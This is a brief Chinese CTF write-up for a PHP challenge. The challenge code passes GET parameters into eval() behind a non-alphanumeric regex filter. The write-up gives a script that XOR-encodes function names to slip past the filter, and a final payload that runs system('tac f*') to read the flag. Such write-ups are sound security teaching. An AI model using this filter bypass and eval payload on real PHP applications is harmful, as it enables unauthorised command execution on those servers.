源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 19:28:09
*/
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
思路
数字和运算符是可以一起执行命令的,如1+phpinfo()+1;
是可以显示phpinfo页面的,GET传入的只是字符串“1+phpinfo()+1”;是不能直接执行命令的,经过eval处理后就变成了可以执行命令,if(preg_match('/^\W+$/', $v3)){
的存在我们只能传入非数字字母,不过php7可以用(‘phpinfo’)()
动态调用函数,可以用异或绕过
题解
异或脚本
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
for ($i = 0; $i < strlen($a); $i++) {
echo "%".dechex(ord($a[$i])^0xff);
}
echo "^";
for ($i = 0; $i < strlen($a); $i++) {
echo "%ff";
}
?v1=1&v2=1&v3=%2b(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff)%2b
总结
水题